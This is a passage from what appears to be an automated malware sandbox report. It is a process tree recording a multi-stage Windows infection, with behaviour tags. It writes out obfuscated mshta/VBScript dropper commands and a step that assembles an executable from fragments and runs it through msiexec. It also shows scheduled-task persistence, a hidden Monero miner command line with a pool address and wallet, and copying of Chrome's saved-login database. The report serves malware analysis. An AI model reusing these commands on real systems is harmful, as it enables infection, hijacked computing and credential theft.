C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"8⤵
- Executes dropped EXE
PID:4340 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵PID:1780
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"10⤵PID:2196
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3032 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )12⤵PID:5192
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵PID:5420
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )12⤵
- Checks whether UAC is enabled
PID:6928 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC13⤵PID:7056
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵PID:3840
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵PID:5692
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵PID:4512
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"11⤵
- Kills process with taskkill
PID:5508
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
- Executes dropped EXE
PID:4568 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 7929⤵
- Program crash
PID:5356
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 8049⤵
- Program crash
PID:5932
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 8129⤵
- Program crash
PID:5924
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 8249⤵
- Program crash
PID:960
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 8769⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:2136
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome3.exe"C:\Users\Admin\AppData\Local\Temp\chrome3.exe"8⤵
- Executes dropped EXE
PID:2768 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2768 -s 15529⤵
- Program crash
PID:5956
-
-
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵
- Executes dropped EXE
PID:1264 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"9⤵PID:1372
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"10⤵PID:3568
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"11⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Creates scheduled task(s)
PID:3968
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"10⤵PID:5272
-
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe11⤵PID:6820
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"12⤵
- Suspicious use of SetThreadContext
PID:3856 -
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"13⤵PID:8604
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"14⤵PID:3512
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth13⤵PID:7716
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4236 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
PID:3960 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"10⤵
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of FindShellTrayWindow
PID:3520 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x19c,0x1e8,0x7ff87a8cdec0,0x7ff87a8cded0,0x7ff87a8cdee011⤵
- Loads dropped DLL
PID:6044 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff6ad3a9e70,0x7ff6ad3a9e80,0x7ff6ad3a9e9012⤵
- Loads dropped DLL
PID:6832
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --mojo-platform-channel-handle=2072 /prefetch:811⤵
- Loads dropped DLL
- Checks whether UAC is enabled
PID:2960
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --mojo-platform-channel-handle=2060 /prefetch:811⤵
- Loads dropped DLL
PID:1684
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=2 --mojo-platform-channel-handle=2596 /prefetch:111⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
PID:2456
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --mojo-platform-channel-handle=2684 /prefetch:111⤵
- Checks computer location settings
- Loads dropped DLL
PID:5392
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=2008 /prefetch:211⤵
- Loads dropped DLL
PID:3300
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --mojo-platform-channel-handle=3032 /prefetch:811⤵
- Loads dropped DLL
PID:4308
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3208 /prefetch:211⤵PID:7524
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --mojo-platform-channel-handle=3812 /prefetch:811⤵PID:3184
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --mojo-platform-channel-handle=3828 /prefetch:811⤵
- Modifies system certificate store
PID:7244
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --mojo-platform-channel-handle=1592 /prefetch:811⤵PID:364
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1996,14397569795993278695,12148536012956899324,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3520_908790631" --mojo-platform-channel-handle=2980 /prefetch:811⤵
- Checks whether UAC is enabled
PID:2356
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zhanglijuan-game.exe"C:\Users\Admin\AppData\Local\Temp\zhanglijuan-game.exe"8⤵
- Executes dropped EXE
PID:3036
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17a0d8ec302e.exe5⤵PID:1448
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17a0d8ec302e.exeMon17a0d8ec302e.exe6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:5016
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon174a6c5f1664f.exe5⤵PID:1388
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon1708beae021a5ff.exe5⤵PID:4596
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon1727c156c4abcec.exe5⤵PID:4736
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17afe24e0084db3.exe5⤵PID:4032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon179f74c0ff3cf1f.exe5⤵PID:3872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17bbf11fdb575d.exe5⤵PID:2588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17bffc2992eb3d.exe /mixone5⤵
- Suspicious use of WriteProcessMemory
PID:1960
-
-
-
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵PID:4164
-
-
C:\Windows\SysWOW64\raserver.exe"C:\Windows\SysWOW64\raserver.exe"2⤵PID:1044
-
-
C:\Windows\SysWOW64\raserver.exe"C:\Windows\SysWOW64\raserver.exe"2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: MapViewOfSection
PID:6288 -
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\AnCdctsFOA4Jamj50y1LwMGL.exe"3⤵PID:4028
-
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵PID:7148
-
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵PID:5708
-
-
-
C:\Program Files (x86)\Dbrhdk08\rhphjohbnz.exe"C:\Program Files (x86)\Dbrhdk08\rhphjohbnz.exe"2⤵PID:6076
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2852
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2708
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2700
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2484
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2448
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1436
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1348
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1220
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1096
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1056 -
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵PID:7068
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:8248
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6976
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Suspicious behavior: MapViewOfSection
PID:7068
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7992
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Suspicious behavior: MapViewOfSection
PID:5328
-
-
C:\Windows\system32\msfeedssync.exeC:\Windows\system32\msfeedssync.exe sync2⤵
- Modifies Internet Explorer settings
PID:2304
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe2⤵PID:7768
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\Microsoft.SharePoint.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\Microsoft.SharePoint.exe" /silentConfig3⤵
- Modifies Internet Explorer settings
PID:6564
-
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Suspicious behavior: MapViewOfSection
PID:928
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Suspicious behavior: MapViewOfSection
PID:2436
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3764
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:7776
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:7440
-
-
C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe"C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe"2⤵
- Checks whether UAC is enabled
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:8180 -
C:\Users\Admin\Documents\9K3DJ2MFUMeOjSxG5pCVZuLY.exe"C:\Users\Admin\Documents\9K3DJ2MFUMeOjSxG5pCVZuLY.exe"3⤵
- Checks computer location settings
PID:9020 -
C:\Users\Admin\Pictures\Adobe Films\BPniRZA8ec2l5bbKdT8k38yq.exe"C:\Users\Admin\Pictures\Adobe Films\BPniRZA8ec2l5bbKdT8k38yq.exe"4⤵PID:1084
-
-
C:\Users\Admin\Pictures\Adobe Films\7Sx91zJmTpk5gOx1oDuDBfK4.exe"C:\Users\Admin\Pictures\Adobe Films\7Sx91zJmTpk5gOx1oDuDBfK4.exe"4⤵
- Checks computer location settings
- Checks whether UAC is enabled
PID:6204 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 6565⤵
- Program crash
PID:5660
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 6765⤵
- Program crash
PID:7404
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 7285⤵
- Program crash
PID:1228
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 8245⤵
- Program crash
PID:8692
-
-
-
C:\Users\Admin\Pictures\Adobe Films\_Dxyo_DVBO3JsNIGI7EgAr6m.exe"C:\Users\Admin\Pictures\Adobe Films\_Dxyo_DVBO3JsNIGI7EgAr6m.exe"4⤵PID:7284
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:3276
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:6216
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\nGdxsk2KUUvWLa38jntBaA3f.exe"C:\Users\Admin\Pictures\Adobe Films\nGdxsk2KUUvWLa38jntBaA3f.exe"4⤵
- Suspicious use of SetWindowsHookEx
PID:6712
-
-
C:\Users\Admin\Pictures\Adobe Films\Wb23GneurBcrYvvdZol9iJLC.exe"C:\Users\Admin\Pictures\Adobe Films\Wb23GneurBcrYvvdZol9iJLC.exe"4⤵PID:6336
-
C:\Users\Admin\Pictures\Adobe Films\Wb23GneurBcrYvvdZol9iJLC.exe"C:\Users\Admin\Pictures\Adobe Films\Wb23GneurBcrYvvdZol9iJLC.exe" -u5⤵PID:7520
-
-
-
C:\Users\Admin\Pictures\Adobe Films\12kod2VY4w_aJH6F93dV5zt5.exe"C:\Users\Admin\Pictures\Adobe Films\12kod2VY4w_aJH6F93dV5zt5.exe"4⤵PID:2580
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\12kod2VY4w_aJH6F93dV5zt5.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\12kod2VY4w_aJH6F93dV5zt5.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Suspicious behavior: MapViewOfSection
PID:7068 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\12kod2VY4w_aJH6F93dV5zt5.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\12kod2VY4w_aJH6F93dV5zt5.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:7392
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵PID:8800
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵
- Checks whether UAC is enabled
PID:3840 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:5632
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )8⤵
- Checks whether UAC is enabled
PID:2312 -
